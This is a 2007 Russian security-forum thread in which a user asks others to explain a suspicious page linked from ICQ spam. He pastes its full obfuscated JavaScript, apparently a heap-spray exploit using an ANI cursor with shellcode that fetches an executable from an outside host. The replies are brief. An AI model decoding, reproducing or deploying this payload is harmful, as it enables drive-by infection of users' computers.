Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Болталка (https://forum.antichat.xyz/forumdisplay.php?f=46)
-   -   Интересный вопрос (https://forum.antichat.xyz/showthread.php?t=40508)

M@ni@k 21.05.2007 07:34
Интересный вопрос
 
Случайным поиском в асе нашел пользователя с UIN 232764281. Но каждый раз как я пользователю что то писал, выскакивала ссылка, иногда новая. Вот перешел я по ней включив Нод на всю катушку, и он как взревет! Вот ссылка http://ourmall.net/flower.html.
txvToeJPcAmkExO[1].txt - 32/TrojanDownloader.Ani.Gen. В хтмл виде видно что на странице выполняется скрипт.. только хз какой.
Цитата:
<script> document.write(unescape("\%3C\%53\%43\%52\%49\%50\ %54\%20\%6C\%61\%6E\%67\%75\%61\%67\%65\%3D\%22\%6 A\%61\%76\%61\%73\%63\%72\%69\%70\%74\%22\%3E\%0A\ %09\%76\%61\%72\%20\%70\%61\%41\%62\%46\%75\%66\%4 E\%49\%20\%3D\%20\%30\%78\%30\%37\%30\%30\%30\%30\ %30\%30\%3B\%0A\%09\%76\%61\%72\%20\%50\%74\%62\%6 A\%46\%46\%62\%75\%6A\%56\%72\%6A\%59\%42\%4F\%6F\ %47\%67\%6D\%62\%43\%20\%3D\%20\%75\%6E\%65\%73\%6 3\%61\%70\%65\%28\%22\%25\%75\%35\%34\%65\%62\%25\ %75\%37\%35\%38\%62\%25\%75\%38\%62\%33\%63\%25\%7 5\%33\%35\%37\%34\%25\%75\%30\%33\%37\%38\%25\%75\ %35\%36\%66\%35\%25\%75\%37\%36\%38\%62\%25\%75\%3 0\%33\%32\%30\%25\%75\%33\%33\%66\%35\%25\%75\%34\ %39\%63\%39\%25\%75\%61\%64\%34\%31\%25\%75\%64\%6 2\%33\%33\%25\%75\%30\%66\%33\%36\%25\%75\%31\%34\ %62\%65\%25\%75\%33\%38\%32\%38\%25\%75\%37\%34\%6 6\%32\%25\%75\%63\%31\%30\%38\%25\%75\%30\%64\%63\ %62\%25\%75\%64\%61\%30\%33\%25\%75\%65\%62\%34\%3 0\%25\%75\%33\%62\%65\%66\%25\%75\%37\%35\%64\%66\ %25\%75\%35\%65\%65\%37\%25\%75\%35\%65\%38\%62\%2 5\%75\%30\%33\%32\%34\%25\%75\%36\%36\%64\%64\%25\ %75\%30\%63\%38\%62\%25\%75\%38\%62\%34\%62\%25\%7 5\%31\%63\%35\%65\%25\%75\%64\%64\%30\%33\%25\%75\ %30\%34\%38\%62\%25\%75\%30\%33\%38\%62\%25\%75\%6 3\%33\%63\%35\%25\%75\%37\%32\%37\%35\%25\%75\%36\ %64\%36\%63\%25\%75\%36\%65\%36\%66\%25\%75\%36\%3 4\%32\%65\%25\%75\%36\%63\%36\%63\%25\%75\%32\%65\ %30\%30\%25\%75\%35\%63\%32\%65\%25\%75\%32\%65\%3 4\%65\%25\%75\%37\%38\%36\%35\%25\%75\%30\%30\%36\ %35\%25\%75\%63\%30\%33\%33\%25\%75\%30\%33\%36\%3 4\%25\%75\%33\%30\%34\%30\%25\%75\%30\%63\%37\%38\ %25\%75\%34\%30\%38\%62\%25\%75\%38\%62\%30\%63\%2 5\%75\%31\%63\%37\%30\%25\%75\%38\%62\%61\%64\%25\ %75\%30\%38\%34\%30\%25\%75\%30\%39\%65\%62\%25\%7 5\%34\%30\%38\%62\%25\%75\%38\%64\%33\%34\%25\%75\ %37\%63\%34\%30\%25\%75\%34\%30\%38\%62\%25\%75\%3 9\%35\%33\%63\%25\%75\%38\%65\%62\%66\%25\%75\%30\ %65\%34\%65\%25\%75\%65\%38\%65\%63\%25\%75\%66\%6 6\%38\%34\%25\%75\%66\%66\%66\%66\%25\%75\%65\%63\ %38\%33\%25\%75\%38\%33\%30\%34\%25\%75\%32\%34\%3 2\%63\%25\%75\%66\%66\%33\%63\%25\%75\%39\%35\%64\ %30\%25\%75\%62\%66\%35\%30\%25\%75\%31\%61\%33\%3 6\%25\%75\%37\%30\%32\%66\%25\%75\%36\%66\%65\%38\ %25\%75\%66\%66\%66\%66\%25\%75\%38\%62\%66\%66\%2 5\%75\%32\%34\%35\%34\%25\%75\%38\%64\%66\%63\%25\ %75\%62\%61\%35\%32\%25\%75\%64\%62\%33\%33\%25\%7 5\%35\%33\%35\%33\%25\%75\%65\%62\%35\%32\%25\%75\ %35\%33\%32\%34\%25\%75\%64\%30\%66\%66\%25\%75\%6 2\%66\%35\%64\%25\%75\%66\%65\%39\%38\%25\%75\%30\ %65\%38\%61\%25\%75\%35\%33\%65\%38\%25\%75\%66\%6 6\%66\%66\%25\%75\%38\%33\%66\%66\%25\%75\%30\%34\ %65\%63\%25\%75\%32\%63\%38\%33\%25\%75\%36\%32\%3 2\%34\%25\%75\%64\%30\%66\%66\%25\%75\%37\%65\%62\ %66\%25\%75\%65\%32\%64\%38\%25\%75\%65\%38\%37\%3 3\%25\%75\%66\%66\%34\%30\%25\%75\%66\%66\%66\%66\ %25\%75\%66\%66\%35\%32\%25\%75\%65\%38\%64\%30\%2 5\%75\%66\%66\%64\%37\%25\%75\%66\%66\%66\%66\%25\ %75\%37\%34\%36\%38\%25\%75\%37\%30\%37\%34\%25\%7 5\%32\%66\%33\%61\%25\%75\%36\%66\%32\%66\%25\%75\ %37\%32\%37\%35\%25\%75\%36\%31\%36\%64\%25\%75\%3 6\%63\%36\%63\%25\%75\%36\%65\%32\%65\%25\%75\%37\ %34\%36\%35\%25\%75\%36\%35\%32\%66\%25\%75\%36\%3 5\%37\%38\%25\%75\%36\%39\%36\%36\%25\%75\%36\%35\ %36\%63\%25\%75\%36\%35\%32\%65\%25\%75\%36\%35\%3 7\%38\%25\%75\%30\%30\%30\%30\%22\%29\%3B\%0A\%09\ %76\%61\%72\%20\%61\%4B\%47\%53\%4D\%6E\%4A\%45\%6 A\%6B\%20\%3D\%20\%30\%78\%34\%30\%30\%30\%30\%30\ %3B\%0A\%09\%76\%61\%72\%20\%66\%63\%71\%68\%68\%5 7\%55\%6C\%6E\%78\%20\%3D\%20\%50\%74\%62\%6A\%46\ %46\%62\%75\%6A\%56\%72\%6A\%59\%42\%4F\%6F\%47\%6 7\%6D\%62\%43\%2E\%6C\%65\%6E\%67\%74\%68\%20\%2A\ %20\%34\%3B\%0A\%09\%76\%61\%72\%20\%71\%50\%67\%7 3\%56\%64\%6E\%52\%78\%4B\%20\%3D\%20\%61\%4B\%47\ %53\%4D\%6E\%4A\%45\%6A\%6B\%20\%2D\%20\%28\%66\%6 3\%71\%68\%68\%57\%55\%6C\%6E\%78\%2B\%30\%78\%33\ %38\%29\%3B\%0A\%09\%76\%61\%72\%20\%55\%56\%67\%7 5\%75\%74\%45\%64\%55\%78\%20\%3D\%20\%75\%6E\%65\ %73\%63\%61\%70\%65\%28\%22\%25\%75\%34\%31\%34\%3 1\%25\%75\%34\%31\%34\%31\%22\%29\%3B\%0A\%09\%55\ %56\%67\%75\%75\%74\%45\%64\%55\%78\%20\%3D\%20\%4 E\%4F\%44\%58\%4A\%43\%79\%77\%65\%55\%6E\%67\%28\ %55\%56\%67\%75\%75\%74\%45\%64\%55\%78\%2C\%71\%5 0\%67\%73\%56\%64\%6E\%52\%78\%4B\%29\%3B\%0A\%09\ %54\%4F\%6E\%47\%53\%43\%6C\%44\%41\%55\%49\%46\%2 0\%3D\%20\%28\%70\%61\%41\%62\%46\%75\%66\%4E\%49\ %20\%2D\%20\%30\%78\%31\%30\%30\%30\%30\%30\%29\%2 F\%61\%4B\%47\%53\%4D\%6E\%4A\%45\%6A\%6B\%3B\%0A\ %09\%6D\%65\%6D\%6F\%72\%79\%20\%3D\%20\%6E\%65\%7 7\%20\%41\%72\%72\%61\%79\%28\%29\%3B\%0A\%09\%66\ %6F\%72\%20\%28\%69\%3D\%30\%3B\%69\%3C\%54\%4F\%6 E\%47\%53\%43\%6C\%44\%41\%55\%49\%46\%3B\%69\%2B\ %2B\%29\%0A\%09\%7B\%0A\%09\%09\%6D\%65\%6D\%6F\%7 2\%79\%5B\%69\%5D\%20\%3D\%20\%55\%56\%67\%75\%75\ %74\%45\%64\%55\%78\%20\%2B\%20\%50\%74\%62\%6A\%4 6\%46\%62\%75\%6A\%56\%72\%6A\%59\%42\%4F\%6F\%47\ %67\%6D\%62\%43\%3B\%0A\%09\%7D\%0A\%09\%64\%6F\%6 3\%75\%6D\%65\%6E\%74\%2E\%77\%72\%69\%74\%65\%28\ %22\%3C\%48\%54\%4D\%4C\%3E\%3C\%42\%4F\%44\%59\%2 0\%73\%74\%79\%6C\%65\%3D\%5C\%22\%43\%55\%52\%53\ %4F\%52\%3A\%20\%75\%72\%6C\%28\%27\%74\%78\%76\%5 4\%6F\%65\%4A\%50\%63\%41\%6D\%6B\%45\%78\%4F\%2E\ %4D\%76\%5A\%74\%77\%69\%43\%44\%7A\%64\%6E\%67\%6 B\%48\%71\%27\%29\%5C\%22\%3E\%20\%20\%20\%20\%3C\ %2F\%42\%4F\%44\%59\%3E\%3C\%2F\%48\%54\%4D\%4C\%3 E\%22\%29\%0A\%09\%66\%75\%6E\%63\%74\%69\%6F\%6E\ %20\%4E\%4F\%44\%58\%4A\%43\%79\%77\%65\%55\%6E\%6 7\%28\%55\%56\%67\%75\%75\%74\%45\%64\%55\%78\%2C\ %20\%71\%50\%67\%73\%56\%64\%6E\%52\%78\%4B\%29\%0 A\%09\%7B\%0A\%09\%09\%77\%68\%69\%6C\%65\%20\%28\ %55\%56\%67\%75\%75\%74\%45\%64\%55\%78\%2E\%6C\%6 5\%6E\%67\%74\%68\%2A\%32\%3C\%71\%50\%67\%73\%56\ %64\%6E\%52\%78\%4B\%29\%0A\%09\%09\%7B\%0A\%09\%0 9\%09\%55\%56\%67\%75\%75\%74\%45\%64\%55\%78\%20\ %2B\%3D\%20\%55\%56\%67\%75\%75\%74\%45\%64\%55\%7 8\%3B\%0A\%09\%09\%7D\%0A\%09\%09\%55\%56\%67\%75\ %75\%74\%45\%64\%55\%78\%20\%3D\%20\%55\%56\%67\%7 5\%75\%74\%45\%64\%55\%78\%2E\%73\%75\%62\%73\%74\ %72\%69\%6E\%67\%28\%30\%2C\%71\%50\%67\%73\%56\%6 4\%6E\%52\%78\%4B\%2F\%32\%29\%3B\%0A\%09\%09\%72\ %65\%74\%75\%72\%6E\%20\%55\%56\%67\%75\%75\%74\%4 5\%64\%55\%78\%3B\%0A\%09\%7D\%0A\%3C\%2F\%53\%43\ %52\%49\%50\%54\%3E\%0A"));</script>
Кто может обьяснить что это и как устроено? + желательно расшифровать )

guest3297 21.05.2007 07:36
это HEX.
write на alert замени....

M@ni@k 21.05.2007 07:36
Кстати, сейчас у многих моих знакомых такая байда, что когда им пишут, а чаще они пишут, так же выскакивает ссылка. Я так понимаю что у них заражен Icq клиент. Есть идеи как это вылечить?

M@ni@k 21.05.2007 07:37
Можно поконкретнее о коде, выполняемом на странице? и как он записывает файл на комп?

Mkey 21.05.2007 07:38
как как...ответ сам напрашивается...антивирусн ком.

M@ni@k 21.05.2007 07:39
Антивирус ничегошеньки ненаходит. Ни нод ни Каспер

M@ni@k 21.05.2007 18:17
Йо мен, спасибо! А чем расшифровывал? Объясни дитю)

Isis 21.05.2007 19:59
Энто хеккеры хотят чтобы в клиенте высветился хтмл код?:)))))


Время: 22:41